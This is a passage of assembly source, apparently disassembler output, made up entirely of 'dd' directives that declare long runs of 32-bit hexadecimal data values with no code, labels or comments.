		dd 0A038CC32h, 37BAE20Fh, 589FCE8Eh, 0DB36D238h, 8155D338h
		dd 0E602FB27h, 0D0515CFFh, 0B3C982E7h, 5398BA03h, 652C01A2h
		dd 0FE0E8D1Ah, 1FD0B6Eh, 0CFA95F28h, 0DAA6FCh, 0C76B1A23h
		dd 971CEA6Fh, 37600D0Ch, 2640DE16h, 600CDC9Eh, 0FF32183Fh
		dd 43D6BD0Bh, 3D648125h, 5AEC91BFh, 6088001Fh, 0FF58DBC1h
		dd 5C0067B5h, 454620CCh, 0C7EAE65h, 0AC0A799Bh,	6200BCB4h
		dd 21474EC2h, 0EA6776F8h, 8D990043h, 8AFB5F1h, 0E900BB98h
		dd 0A685AEE4h, 38B15FDh, 0CC3AC8B8h, 47C8F4B1h,	1E139603h
		dd 0F04F9717h, 98D66085h, 20D48Ch, 0E465E2Fh, 0A446175h
		dd 6C9D2918h, 7E248908h, 277C35h, 48239207h, 79FAA713h
		dd 33A23400h, 732E4978h, 5C8C5897h, 7EC22C7Eh, 77280058h
		dd 0F7AC5787h, 0D542DE07h, 9B6126C6h, 0C0C358EAh, 0E7A5CCh
		dd 0D68BE665h, 0B119FE56h, 40BA6D00h, 2BA2D885h, 5B030B51h
		dd 0DD80CEC1h, 330A4A5Ah, 0D4478400h, 140B542Eh, 8AE300C3h
		dd 7F1D3C4Ch, 927B86C2h, 0A6438C00h, 0F462260Bh, 0F2C74C1Fh
		dd 1FDB7479h, 22A4D0h, 27CE592h, 0C9F30CD1h, 6AF0402Ch
		dd 251E5810h, 0C34038DFh, 0D7503CDAh, 0B6430035h, 0ABF261ECh
		dd 40005328h, 3AE79B04h, 2C589F41h, 3518943h, 32C14C1Ah
		dd 0BABE3000h, 0AB33FDA7h, 5840004Fh, 0B108DAA8h, 84B08E48h
		dd 1F4D270Eh, 371B4763h, 80543660h, 240F010Bh, 0DEFC9473h
		dd 15AC8ECh, 0C4E04E51h, 121E2869h, 1E876E2Fh, 2B704924h
		dd 354770h, 20CDE15Ah, 3327DF61h, 4B533Ah, 3637BDD5h, 36244C3h
		dd 0B5A3F70Fh, 20B0D006h, 0BC90F1ACh, 0CA0CD77Ch, 11F00921h
		dd 5F28809Fh, 80C7EF40h, 35034A7Dh, 0D3461DFEh,	0E097E3FBh
		dd 30E05A7Eh, 64A8F9EAh, 0EF7CDFB1h, 0BDB83703h, 0F013A4EEh
		dd 156406Dh, 4163102Eh,	80DC7AADh, 0C9FAAB48h, 1150CB67h
		dd 0E637DFh, 7EE95FD5h,	0A44DC4h, 283D1643h, 18F0BE34h
		dd 844BB301h, 56B5E901h, 3923C6D8h, 1C80C2C1h, 0E1A3CE83h
		dd 7274012Dh, 94D74E00h, 553FCA4Fh, 0AE690088h,	820330FBh
		dd 5F002037h, 124B6F9Ch, 7E10ECh, 0F0C3FA52h, 1BA78E4Ah
		dd 7FACE64Ch, 898BED00h, 26ADBBE0h, 356F81Eh, 971B760Dh
		dd 0B929EF45h, 0E17104EEh, 1CE23C0h, 0E3B2452Dh, 86F8E0A5h
		dd 0E97C5920h, 79150029h, 0FFEFC623h, 801EBED5h, 0EE03406Fh
		dd 697D24h, 67967979h, 0D1E8254Ch, 116C7484h, 549E5Dh
		dd 0B5E28BAEh, 19C98FD7h, 8B7DFFDh, 1F218091h, 0B8DEE290h
		dd 77870164h, 0B40DA4EDh, 88A73172h, 80EA4198h,	7C95A0C6h
		dd 5D6FE39Eh, 0FB6B8078h, 608BF3A3h, 0B04EB0D3h, 65036853h
		dd 9ECEAF79h, 687FF7h, 57899B1Eh, 16E8C7C6h, 1CA6A2ECh
		dd 31E41D40h, 0B170FCDDh, 32163093h, 1000C9E6h,	7960AE5Bh
		dd 185E4AE5h, 0F902D58Ch, 10167D9h, 0C51A7F62h,	9937EEAh
		dd 3984496Fh, 4BFFA000h, 0BE1B7B78h, 2C05BE3h, 68EF59D0h
		dd 0D4A4C0F6h, 1644C09Ch, 0DA766378h, 0DB2B4317h, 81212218h
		dd 0A5C10092h, 2794CA71h, 3E01664Fh, 43E8FE3Fh,	4C48965Eh
		dd 5C010469h, 2CE04A7Fh, 150003Fh, 903704F3h, 600D507h
		dd 0BAFAB244h, 0C0F830D4h, 62156B48h, 55006384h, 1885EAF6h
		dd 3C928B0h, 0B38CE1F0h, 887469FBh, 0A8A3A688h,	3DCFACF0h
		dd 0BC875E25h, 70908326h, 0F0949C88h, 0CA3DE600h, 47799ECFh
		dd 1F8D0055h, 0A95B8C50h, 7D18F89Dh, 0BE4956A0h, 5ACF0004h
		dd 8770C085h, 0F60015FAh, 9D891C5Dh, 1A6678h, 46C87475h
		dd 0C641F7AAh, 51F85406h, 79C922D4h, 889500CEh,	0C0BAB2B4h
		dd 8CC3A6Dh, 2F2158h, 16A295AEh, 0C4E7B7FEh, 6B4898E9h
		dd 24F13529h, 218FA6Fh,	5D7F76D7h, 9F080460h, 0D4747D28h
		dd 0DF79570Eh, 4CB7A085h, 2B5A4228h, 0F0B2EFh, 7B64C161h
		dd 8085DC53h, 49C158B7h, 0CB023464h, 7FB1E153h,	78184084h
		dd 0E92C0E03h, 374240FCh, 90A06081h, 0F3CDF409h, 6906A906h
		dd 3A3058E3h, 5960F73Ch, 22516AA8h, 20130D09h, 94338129h
		dd 0A560797Fh, 2BE0018Ah, 0D4B9232Dh, 0EE608028h, 1D2F1343h
		dd 4A390072h, 0D3E86921h, 900587E5h, 0CD5951E1h, 274105AAh
		dd 8C1ECFh, 42095A1Eh, 7B39B1C6h, 0FE348136h, 0E9C73BCCh
		dd 5038BEECh, 15B5ACF8h, 0A8F6F37Bh, 5B121863h,	3E881E4h
		dd 69FD10CCh, 0A689280h, 0CF8402A0h, 80742180h,	43C1ED60h
		dd 6F1EA276h, 0BF003893h, 6C88836Eh, 7CA1034Ah,	0FDBBEA7Dh
		dd 5100FAC3h, 5C93B71Fh, 654B2CBDh, 24AB58CEh, 9368825Ch
		dd 8E28930h, 0CB5FD74Fh, 1541A764h, 0D42CE296h,	394C5A3Ah
		dd 26DE01DDh, 7BE921C1h, 629E1C20h, 6BD6E823h, 4D68C448h
		dd 26B64100h, 439DF7BBh, 0FAD00085h, 0C754575Bh, 2B008173h
		dd 461E0F8Ah, 9AAC9B9Eh, 77590980h, 0D422F7D5h,	6868A693h
		dd 8E747A80h, 4898B4A0h, 0C925E26h, 60061DC0h, 2A6A467Fh
		dd 3B00FC13h, 2650164h,	26AFA642h, 7C89E3h, 0CF56BB20h
		dd 1F280A93h, 0CE01AC6Ah, 5717733Bh, 742669EFh,	67C16601h
		dd 0CDB2B7Bh, 5DBC88F5h, 41C3C11Fh, 0F7ED7286h,	51780019h
		dd 8C65C6ACh, 9F07D512h, 796EF2E4h, 5E8BE3h, 0F3817EF8h
		dd 0A3BD0FFFh, 0C7245B07h, 0EAAE6B3Ch, 0C90580CDh, 0B440A4E6h
		dd 2F2AA95Eh, 8AF0A0C8h, 65C6C7FAh, 6BDAC021h, 0E8C028BFh
		dd 4813C06Dh, 2BE976C4h, 0FFC59FCh, 0D722E05Fh,	316CAAFh
		dd 12E287BBh, 0BEF8BDB4h, 0D7595C4Fh, 0B44824h,	0A9CD8EF1h
		dd 5F0BDEh, 66B33679h, 0CAB790CEh, 7B612E1Eh, 0F001EC29h
		dd 6D2FEC7Eh, 152E458h,	3EBA0D20h, 0FE09C72Ch, 0CF16C080h
		dd 9926530Bh, 40303581h, 631F2D34h, 0E57AF0E6h,	5A0E80Fh
		dd 480813FBh, 0C167C0ACh, 43217B62h, 0C891DAh, 2C15EE5h
		dd 536AA7Dh, 582AD99Bh,	0A300C1AEh, 0D07181B3h,	0B48399F1h
		dd 0DB861082h, 0AC804A67h, 0AA0FF67Bh, 5A4318C6h, 2AB4680h
		dd 781DC164h, 12C7315Bh, 0D788C082h, 0EB6B0ACEh, 0F0C89Bh
		dd 0B68CBB66h
		dd 1D4DDB79h, 0A55A00E0h, 0B2C873B8h, 0A34F0722h, 322DF6FBh
		dd 584492F1h, 0B83CBB0Ah, 46748479h, 9F8F00CBh,	0BAC7C341h
		dd 177B18B4h, 900191CEh, 0EDA4921Fh, 254E95C5h,	9318D059h
		dd 92B0FDF0h, 35EE1DD4h, 27D0316Eh, 46C900F6h, 582D48A2h
		dd 9E771862h, 2F2034C4h, 2E850E58h, 19F263FDh, 18AFC0E8h
		dd 69C10860h, 0D0C4BB7Bh, 0C1978640h, 6B1CA31Fh, 1165F7E6h
		dd 60D2FE0Ch, 7C60664Ch, 0C6DD24EBh, 0D81E8570h, 29B04033h
		dd 0AA446396h, 9203ABE2h, 7E1E1FC7h, 11BEA0EFh,	24854D57h
		dd 7B19AC48h, 8B24F218h, 8767B369h, 206F5C44h, 68E578DEh
		dd 9DB62CF1h, 249F094Ch, 6424502Bh, 60686293h, 0BB127F48h
		dd 401008B0h, 16F3E00h,	703AC22Ch, 94640145h, 0ED7D0954h
		dd 0DA477043h, 0F44DCE24h, 502F6B81h, 0C032D25Ch, 39F14B00h
		dd 7F08BA72h, 8BAF543Fh, 80F80113h, 0E9C2FCB0h,	9E6912CDh
		dd 4F840A4h, 290C9C3Eh,	888C900h, 0CCF0D557h, 14C600E8h
		dd 8BF46AF6h, 8D05C586h, 0E05A850Ch, 306F48C2h,	8E1195B6h
		dd 258862B4h, 95682D82h, 27BBE007h, 0DA730461h,	80ED76CCh
		dd 0C399ADECh, 98255B29h, 86556DD8h, 0E8768A16h, 91CB7500h
		dd 25FE3563h, 4A97D59h,	96C22882h, 0DE771E00h, 3B14B886h
		dd 6204D508h, 569E9Fh, 0AB9929F9h, 3A640567h, 87F13CECh
		dd 198208B4h, 605D8A61h, 309A38D4h, 0E839579Fh,	66E85E77h
		dd 0F5644D01h, 8B990A4Fh, 5CC7A6D8h, 0C98004F2h, 69329313h
		dd 36F67912h, 0D4E63480h, 1C1A48CEh, 4E1B653Fh,	0C103183Eh
		dd 500386EEh, 7C200013h, 0FD5FD641h, 5544FF6Ah,	0A0CAEEDBh
		dd 71905CA8h, 0E6ED0159h, 0F9E11FAAh, 0E77CE552h, 6BFD5102h
		dd 0E80376D6h, 3193B5FCh, 0F7A0FE5Ah, 9974249Bh, 0CCAFC0CAh
		dd 88CB3912h, 89C0A7C8h, 5808850h, 743CF2Dh, 0D6F480F8h
		dd 0AC06C333h, 0D0D7EBB5h, 82677479h, 186E0841h, 68C10465h
		dd 32DB737Bh, 5C8320CAh, 3500B4C1h, 0FA0C9156h,	4859AA09h
		dd 6898007Ah, 1C80CBBFh, 0B6D00B9h, 54077C49h, 39304059h
		dd 3BCB29F8h, 0D34082C2h, 0DC4A24CCh, 34DB6846h, 1677029h
		dd 0B7C29FD1h, 0DC130443h, 662A6979h, 2400DC72h, 34C73BCFh
		dd 0B2EAC3h, 6C96A974h,	573125A5h, 0A41E6801h, 601AF3A3h
		dd 0A34E5820h, 0A40F2E8h, 84B51184h, 3CC10162h,	8422E042h
		dd 1513CC0h, 0EC007DE1h, 83E7B178h, 506B81C3h, 0C69E0ADh
		dd 6D5967Eh, 780FA151h,	60438AA3h, 0F75C66A7h, 16E9C0CEh
		dd 0DE76BCB9h, 6B33A800h, 99F58E56h, 0FAB50EA6h, 2096FDBAh
		dd 774F1200h, 48EC2B4Dh, 165230Ch, 0B4849550h, 88261852h
		dd 9500B163h, 70CFE218h, 2ADCB03Eh, 4680C381h, 6160291h
		dd 31627F5Bh, 38985015h, 0E5B00165h, 156D33Dh, 34DA2761h
		dd 80726CB0h, 29304BF2h, 31DB3342h, 55B0CFA9h, 4D019668h
		dd 0BA5A75EAh, 3460E358h, 0C136FC64h, 0A6828A29h, 78A0C4EDh
		dd 0B530DA00h, 0E387FE09h, 7DFD1EA1h, 4638011Eh, 0F48C6658h
		dd 43012FE0h, 0BAA793D5h, 0B5ED77BBh, 13421820h, 1206F9ADh
		dd 98C7A10h, 68DA2DFAh,	2EBE799Ch, 9774BA97h, 8E6C12CDh
		dd 0C0C8C8ECh, 85283A16h, 2950638h, 0D75C5176h,	8FC8A024h
		dd 7B553093h, 1B5300EFh, 6FB9055Ah, 3100C129h, 0A3723C6Ah
		dd 1032D67h, 801F0C2Fh,	231669F8h, 4013F180h, 0B73AF50Ch
		dd 3FC80456h, 9CE2A35Fh, 0B13024F2h, 0A9440066h, 0BC9A32C8h
		dd 7C262A34h, 50CECCA8h, 32D2D382h, 482BDB02h, 481EC68Ch
		dd 0A3BC3C6Eh, 5F840F8Ch, 7C0F711Eh, 6F079900h,	1231A943h
		dd 0F7692841h, 0CBC4A0FAh, 8A8527h, 5E2D13BBh, 0F29F651Dh
		dd 34C47E00h, 0CFEFE478h, 14B8ABh, 0CB67C131h, 1615D8D1h
		dd 795FA030h, 186C5F8h,	0B595C944h, 3094777Bh, 0EA006980h
		dd 875DE0BFh, 17CDF853h, 21CF24Eh, 0ED2C7ECh, 0B09D5C6Ah
		dd 3E8EA211h, 95DA23E0h, 8C2ACAA4h, 1E016C83h, 63D62815h
		dd 5FD454BDh, 0F3CCEAF8h, 9EDB7064h, 0C1519EE8h, 41176622h
		dd 0E4F5701Ah, 0D3096879h, 2B6BDAAAh, 91D49770h, 0F01C80D0h
		dd 9A59BBA1h, 0A6650CA0h, 0B4048BFBh, 5A4E8498h, 4D01146Bh
		dd 5315FCC9h, 12482979h, 64407A37h, 0AA77B7F9h,	0EDB4A028h
		dd 71F4A82h, 0D976D3ACh, 8E7B489h, 2601A44h, 2500C16Fh
		dd 0BCB05D90h, 4C7AE0A4h, 681D4C82h, 0F66F0964h, 71246C20h
		dd 41C11BDBh, 0D292D0F5h, 791123E0h, 0AAA40015h, 762E6617h
		dd 1EE8CCE0h, 0AE638917h, 7CE68880h, 27F09E56h,	0ECB7A89Ah
		dd 3A38E680h, 5B8BD1Ch,	0DBA1C163h, 0A9CC005Ah,	3369EB7Fh
		dd 87A65007h, 5550FB91h, 0A6D90BF8h, 955A2790h,	902397DEh
		dd 290E1F11h, 3BA195ACh, 0E87949F7h, 9499535Fh,	4C9461Ah
		dd 1F400190h, 0B66BAAC7h, 0F0C3F82Ah, 38022173h, 571CC469h
		dd 80B7F0D4h, 0F292EEE4h, 4B9E1841h, 4AF958AEh,	0B15ED100h
		dd 0E68203CDh, 22AA805Bh, 0FF4BA902h, 8813AD40h, 0D3C41C9Eh
		dd 0E0110605h, 0BE0C4FF8h, 0B0FB2DB8h, 6584169Fh, 23182F48h
		dd 0DA06006Fh, 86C177D0h, 355F2313h, 0AF796C05h, 1510282Eh
		dd 0C400DD40h, 0D9DBF710h, 0A982382Fh, 0EB40028Ah, 6A8401A8h
		dd 2099E2A3h, 3B26CC70h, 0A700ACA8h, 8955F587h,	95A90161h
		dd 0E23A8685h, 21F5204Dh, 0A00C2490h, 48EC0F22h, 9E1BF87Bh
		dd 4AA609A8h, 606EA427h, 0F4382EB2h, 8B7C3718h,	98C36C19h
		dd 0F7232460h, 480741ACh, 0E96C304Ch, 0C24FD878h, 0BC6B5403h
		dd 2031C980h, 0D9EAD887h, 0FA54416Dh, 0F9CECC51h, 0C739A498h
		dd 502531F2h, 825F1F7h,	0AFC0EC3Ch, 0C17A0D76h,	24EC3858h
		dd 0AA9330EFh, 0DEF0DCC9h, 8EDB2A85h, 0A7FE80BCh, 409AA3h
		dd 1549C6Ch, 6399AD50h,	1E185660h, 178A068Fh, 0DF69ED04h
		dd 1FBA00A4h, 1C2C5775h, 5490034Ch, 0BFC11B49h,	51AF7AE0h
		dd 584C0674h, 0B51800F8h, 0C1126329h, 198B0070h, 6A4609B1h
		dd 1B0FBD54h, 69EEA061h, 1470E9F8h, 0A40860h, 9FC68433h
		dd 0F00CFB0Fh, 0B9637400h, 1A12953Ah, 96783FB0h, 8053C164h
		dd 1EF85080h, 0B109D893h, 3AB48495h, 2E00D88Eh,	4B649567h
		dd 415F706Ah, 19F6A47Dh, 0D702DE07h, 809AC276h,	9593B1D0h
		dd 6190BE72h, 3C78BED5h, 8DEE0264h, 9E928C91h, 1E382320h
		dd 8CE7B709h, 0B9D6202Dh, 30013C8Ch, 38359A1Dh,	3D2E836h
		dd 736BCB05h, 0A440CFF6h, 0FCD05FABh, 0DD0C006Fh, 0B8F06DC6h
		dd 6A2D8DD6h, 91E817B6h, 8C5F8091h, 17075552h, 9CEF3ECBh
		dd 10BCAF3Ch, 490465Eh,	0F42B006h, 26DE5C81h, 0BCE04303h
		dd 1F13B714h, 0D0D0F81Dh, 255E8592h, 0A4A0D829h, 6706B512h
		dd 7F176B00h, 91E2103h,	531D0272h, 22B0FD6Eh, 0DC249CA2h
		dd 8C006452h, 8A712D5Bh, 9801A965h, 40A14A3Ch, 1D7F1CE0h
		dd 7202FE11h, 8D56FBC9h, 1E072D5h, 0E71A21AAh, 204593BAh
		dd 41070EA7h, 0C3CD5C65h, 539EEF60h, 7F550738h,	4B6D1AEDh
		dd 0F684E811h, 22E42CC5h, 5B898E60h, 4A58C700h,	0D5F3EA07h
		dd 0F191C005h, 0E0A294F0h, 16D4A85Ch, 0F8C9C2B8h, 484FCBE0h
		dd 850764E2h, 0CB2684E7h, 0DF0148ECh, 2F30D302h, 6030C454h
		dd 0D0E174Eh, 0FC140A42h, 815E11ECh, 0D7B0E284h, 0D08BE845h
		dd 0E2910E00h, 8B2CAD96h, 1A7FD901h, 0DBC414AAh, 6451A839h
		dd 0B05ECC00h, 0E7B8C07Eh, 230C846Ah, 80007178h, 658706AFh
		dd 7926E66h, 0A2C59F0Dh
		dd 891D5137h, 0D694516Ah, 0ACF0502Eh, 0E000DD43h, 62C9A3D4h
		dd 17B486h, 0F6EC2853h,	898CA95Dh, 55255F74h, 90CCA0D4h
		dd 0A0B98Ah, 9EB49FBDh,	4501CBB5h, 68B1FD14h, 0ECA098DCh
		dd 0CB5A4A67h, 0C0D68850h, 9F0398CAh, 37037C7Dh, 0D715E65Ch
		dd 55B90027h, 4819BD6Eh, 77712875h, 0F4078C01h,	7D4ED4D5h
		dd 1CB54AD0h, 8067436Dh, 8DFBDDEBh, 0CCA053C7h,	0C20CE86Bh
		dd 512DD213h, 95350023h, 5BDE859Ch, 3D05BDA5h, 8AED7B50h
		dd 0FD134CC1h, 0F8F7B600h, 6156A9C5h, 0A510BD87h, 2C76D0E1h
		dd 0B64E879h, 6C008910h, 0FA7D9F39h, 484F249h, 6DD17BB5h
		dd 3D5D8C0h, 2CE09022h,	2449108h, 0F2CFAEF1h, 19C594A1h
		dd 0B8F86855h, 20018C58h, 0E6CD4C96h, 3B2B03E0h, 21F2364h
		dd 0AA085FE6h, 81E9E482h, 630E24F9h, 0F6097EA9h, 0A1084177h
		dd 0F900942Ch, 940C5968h, 44148906h, 0ACD468Bh,	0F474979Fh
		dd 516DFD89h, 420A01A0h, 2C559F05h, 7F808030h, 7E7033Bh
		dd 0B52D922Ch, 685A72AAh, 7794905Ch, 43C70BCBh,	0E464C566h
		dd 2CE3619Fh, 3F3C720h,	0CB05CA0Ch, 0B1B937CCh,	0AD57C89Ah
		dd 0A8AF84BEh, 465C34ECh, 0AFFB0FC4h, 8F452B2Dh, 0FA177D2Ch
		dd 80409808h, 0AC2093A2h, 701A17Fh, 9679D033h, 847DA697h
		dd 80EEEA18h, 2A60D25Ch, 7A746739h, 4C2E006Ch, 0B7C70B63h
		dd 9091D238h, 0E6A7FE80h, 0C121CFh, 4E361E7Dh, 2B6044AAh
		dd 7FAEBF18h, 0B2B88B90h, 0E2AC9844h, 64F0A006h, 35031224h
		dd 3E500504h, 3D309021h, 410575C2h, 127CC52Dh, 559198D0h
		dd 3EF32476h, 8BB8006Bh, 67DE6E56h, 0DD1FCB00h,	5E43CA4Eh
		dd 60649487h, 7F610164h, 88E07221h, 4200556Ch, 3F0E060Bh
		dd 3E4090CCh, 9C4AB2A3h, 7D0408CCh, 0A3A1989Ch,	45DDC4A8h
		dd 0C113C311h, 0CD46470h, 89950B53h, 8C45AAB4h,	0EB3D2C90h
		dd 0FFBBE789h, 2BCFCCC1h, 9F938870h, 4DE0A8A5h,	0CFBF0099h
		dd 57090198h, 0DB5890BDh, 956201D4h, 3DB676B4h,	1EA4860h
		dd 0E08A7D1Ah, 21194BA9h, 0C8500AC3h, 943DC01Bh, 0E00BC1BDh
		dd 6F2DA1h, 70BACCFCh, 2B7F0A5Ah, 2ECC15AFh, 0AA06078h
		dd 18D520A8h, 0F8E29244h, 0C4015F1h, 0BE940079h, 7B4BD23h
		dd 0E53E55D2h, 0A2E8A504h, 156830Ch, 3858D034h,	8CD6B8D8h
		dd 89C1600h, 6679F48Dh,	3BA05FDFh, 40131054h, 0C8CF0DC0h
		dd 96256A80h, 3FCCC52h,	0E1D64ED7h, 0FBA3C65Ah,	0E2665905h
		dd 8681FF0Ch, 0C0502078h, 0E79F08h, 60665EA1h, 1DBCC0EAh
		dd 0C0787E58h, 37C3C715h, 0FC4120A9h, 96796E3Bh, 0F840D917h
		dd 76533CDh, 1BCE287Bh,	81C309C8h, 3894BFD7h, 8538A45Dh
		dd 4C87759h, 0B699177Dh, 506CD29Ch, 217100F1h, 97526019h
		dd 0EE8A400h, 2F50D86Eh, 34C10B25h, 6404C545h, 0A8B4A0BAh
		dd 82937B2Fh, 0F9570154h, 18F57114h, 6BEC0017h,	3CED5898h
		dd 8174B520h, 0FD522F09h, 0AC1448A3h, 0C08D4B68h, 392B5B8h
		dd 1A9DA7F6h, 0E498E510h, 0F0DA6091h, 0A9B904D8h, 8E17632Ah
		dd 0B46A4B84h, 0F09E8007h, 4EF65014h, 0E4C580Ch, 0EBB5043Ch
		dd 0C0ADE683h, 0C459CA38h, 19B8645Ch, 1796018Ch, 50EB20D5h
		dd 12C466DDh, 0CCF2492Fh, 0C556DE1h, 0ECB0E4Ah,	8C81C359h
		dd 81FFD714h, 0AF53CF41h, 0D5C04D9Fh, 62160197h, 59B270EAh
		dd 9743941h, 80DF530Dh,	24D75EF0h, 0C71F15EDh, 0CC92D4A9h
		dd 0E09454F0h, 278C38D6h, 84E400FCh, 6B997AEFh,	9A6247EBh
		dd 41155960h, 0C8E8D056h, 8E012594h, 14DCA8C3h,	5C2314h
		dd 0D75AE28Ah, 8085C987h, 26E28F14h, 6A053974h,	0EB331DCFh
		dd 0C7134080h, 0ED6101E9h, 76D9264Bh, 50053B8Eh, 0E4888137h
		dd 9049F359h, 7860E8E7h, 0C11F01E7h, 514C5C39h,	0B770828Ah
		dd 40163E47h, 17B834ACh, 41294052h, 90156D88h, 66FEFDE0h
		dd 64772538h, 5BE078h, 0AF314BD1h, 145960A6h, 6FB7DA0Eh
		dd 1E344058h, 0CB3692h,	693C5BB1h, 71D7628Bh, 4F500092h
		dd 40002C9Bh, 0E594F4E6h, 1427DE2h, 54FC67D2h, 2C903785h
		dd 6BFD16F4h, 66534CD0h, 14CC928Eh, 0B6B2CDF1h,	409FBE0Bh
		dd 0FCB4949Ch, 1CB4656h, 9BB5AD9Eh, 7C36CCF6h, 0C41E0401h
		dd 87FDF7E9h, 1A0E8431h, 0EBAFAC50h, 6F660076h,	48EA6342h
		dd 0F25DD4E1h, 0DC8E2F98h, 0F9C10291h, 0A8E4FD2Bh, 5B5CAA5Dh
		dd 0C823242Fh, 0D04AD900h, 145C2489h, 0EABD97A2h, 98042324h
		dd 64F909A1h, 0A4B17F00h, 5D4582E0h, 0A51C91CDh, 0DCAF4491h
		dd 7505E8DBh, 3FBE79BFh, 9143A8A0h, 186C79ECh, 0B0CB0F20h
		dd 3958D503h, 0EC161C5Dh, 440594F2h, 68B0FFF6h,	0D8151253h
		dd 0D3B84052h, 6C3F0128h, 4B20730Eh, 0A1EBE7F5h, 0D2AA6BD0h
		dd 104E0160h, 0B851879h, 50D8D2B8h, 54A542F0h, 18401062h
		dd 55FACDF3h, 4F1C3A00h, 6219685Dh, 2AF90443h, 0ACE6F121h
		dd 4376BC44h, 0DD5855h,	1CE94BBDh, 53BE7AC9h, 71F2A833h
		dd 0B24130h, 0DF65AA1Fh, 0FB30D27Ch, 471CBA9Fh,	60A74434h
		dd 1BE1949h, 7B737C99h,	0A04DDBF6h, 79128450h, 8CF49FADh
		dd 0EA300A5h, 59FA40C8h, 0A67E9A5Bh, 957D3B09h,	32BC84C4h
		dd 0B7DECC93h, 0C4DC1234h, 0A64613CDh, 35240F04h, 0CA986AC4h
		dd 0D52CD0h, 0D22F3D40h, 0C1DA05A8h, 0C43311B9h, 0C8F8CBE0h
		dd 89B1C19Fh, 0CB57F0C8h, 12CD2B09h, 8FE0843Fh,	0D72E78ECh
		dd 109D6930h, 4802611h,	22AA3108h, 0DC72D42Ah, 67984197h
		dd 0EBCC30h, 0A637B0D6h, 4830F02Bh, 5BC8B3Bh, 47F36861h
		dd 570E8444h, 0CAE2ECB2h, 3B5830h, 0C25FCE84h, 0D4559F25h
		dd 601C2F9Dh, 5DC04A7h,	0C3CD0453h, 0A8AF7BB5h,	0DC6E5FF0h
		dd 456EA600h, 9B15FE1Eh, 0F7B1D504h, 0DB12EA5Eh, 0E522804Ch
		dd 40DE6Fh, 0C05326EDh,	5EA3B5D2h, 8410E248h, 9E008AC2h
		dd 3693C4A8h, 0CD5C8150h, 489DD412h, 76E12CA2h,	1B00C55h
		dd 0F5A1C1FAh, 3A78597Fh, 83F31820h, 46C980E6h,	0F409164Bh
		dd 6084ED54h, 0D77DDE33h, 40C64638h, 0C89300B1h, 5FFE356Eh
		dd 80E9AE77h, 98A85E18h, 0EEDC237Eh, 0FC3C20BEh, 7D2D9E19h
		dd 146C4EF1h, 34B56F13h, 7A5DC2B0h, 74592E40h, 650200B9h
		dd 0D15E2E58h, 18C9717Ch, 85E80271h, 16CA605h, 7A7BFA41h
		dd 21843040h, 1363605Bh, 49BECCBDh, 0E490D448h,	9A007672h
		dd 38A5CE58h, 0F31DBFh,	0DCCC0BF6h, 0C501480Eh,	1038244Ch
		dd 5724A027h, 6C209C4h,	0B442504Fh, 40E47641h, 4A4540DCh
		dd 6D8F7506h, 44707AAEh, 0CD1E543Fh, 9460A4BEh,	8E65642Ch
		dd 0C7C98864h, 2754217h, 415CB5C1h, 50721EF8h, 44256E0h
		dd 7700C2F4h, 87E0399h,	0CB67C0h, 93F98F72h, 26A6CA51h
		dd 708CFB4Bh, 61D400A1h, 940C679Ch, 0BA0B21C8h,	59971F65h
		dd 90D493F4h, 6622EBCCh, 0B7F17600h, 6D869505h,	0EF0E03F2h
		dd 370D36A5h, 745CF7EAh, 9F862E80h, 0E478FC31h,	0F0BF01BCh
		dd 93D05E02h, 96AADC9Ch, 0BA6A1D25h, 5618DE50h,	0D5036D46h
		dd 377C02AAh, 0DEADE005h, 0A7C40A9Fh, 0F9A7D4B4h, 0E879BF02h
		dd 146CE500h, 0BAC1F85h, 20496D72h, 0CAF28A80h,	0F55A1E75h
		dd 58F94C80h, 8B8C4E11h, 0C0CAC864h, 0D26AD876h, 0D9294573h
		dd 54ACACBEh, 5359FB09h, 0B8E5A7D4h, 2E60CAE4h,	0E000A80Fh
		dd 0BD66DCD2h, 37A2EFh,	6C9181F3h, 0D44EE6C1h, 0A3694813h
		dd 0C26FD404h, 8D305F22h, 0D7533FE2h, 0BA018043h, 587B34E2h
		dd 0F1DB316h, 6EF400B9h
		dd 555BA19Bh, 4401D0DEh, 7F53FE98h, 68002476h, 0D44A21DFh
		dd 449EA16Ch, 6BD1A947h, 8CD1B1A2h, 8A24203Eh, 0AF484769h
		dd 0F590162h, 64A33B88h, 0C58CC7Dh, 0F66B3809h,	0CE009C44h
		dd 51F4C260h, 2E4D0E6h,	93BB7152h, 24449728h, 0ECB4F302h
		dd 711D72C3h, 18D079F4h, 75A84EA5h, 0C0909AD8h,	3D6AD43Fh
		dd 0F14E041Ch, 8AA01F81h, 0FFFD0008h, 413C2BEh,	79D0029Fh
		dd 25A6AF66h, 0E580B0D9h, 0B01191BDh, 0C44324E9h, 53B56274h
		dd 5D6F0F4h, 2D207911h,	0FFD430E1h, 9E04C064h, 0D493C3A9h
		dd 6724A4h, 0B66596F9h,	0A5E7DEE2h, 321B2701h, 8960F214h
		dd 0A879AADCh, 4F57AA4h, 87A655A9h, 8F80A8E4h, 7EB4C08Ch
		dd 0BE2D65A3h, 50B607F4h, 0F2AE848Ah, 30A3F288h, 6B0FCD09h
		dd 0C12A3888h, 7B91BE3Eh, 102C2BF5h, 0D1D82413h, 3DD25CE0h
		dd 0A63600D0h, 2E2289EAh, 342348E7h, 0BA4B7Dh, 0BE1E0D6Ch
		dd 949B623Fh, 0C0746D27h, 0F404C3D7h, 8F0DE23Dh, 0C47493A9h
		dd 0CCEA373h, 0D6B81C4Ch, 9E33008Ch, 0A3E079E8h, 0FDF0F36Bh
		dd 9769A8B4h, 8F581184h, 0B6A8803Dh, 5E706E77h,	0D750C140h
		dd 8A80498h, 388C5CBCh,	5D0068C8h, 0B5CD5B0Bh, 0C15E2FCBh
		dd 0F4634872h, 18E75ED0h, 0F27F66h, 4CD4F8A6h, 0CC679F80h
		dd 6CD21324h, 0EA4FE143h, 2D78D883h, 0ECC8C1BCh, 5E0BC3CDh
		dd 0B926EB0h, 40490772h, 498A4BA2h, 8829DB54h, 163DDF00h
		dd 6653C9D8h, 84109095h, 0F7BF73B5h, 1BB8606Ch,	7887008Ch
		dd 65A6A0AAh, 0EC2F9460h, 62DCAF81h, 0F335D72Ah, 5E58A884h
		dd 98D0DC10h, 0E28E028Ch, 0CA27D75Eh, 93E0CC96h, 198FE203h
		dd 0F23E6F27h, 70A9C04Bh, 18E2F1Fh, 0C35B4CC4h,	5623583Bh
		dd 6A9C0900h, 0B5F672C2h, 47BB10A0h, 100E167h, 50D836A6h
		dd 7E3E485Ah, 0F97B257Eh, 349D2C62h, 76804B11h,	0CB8643FEh
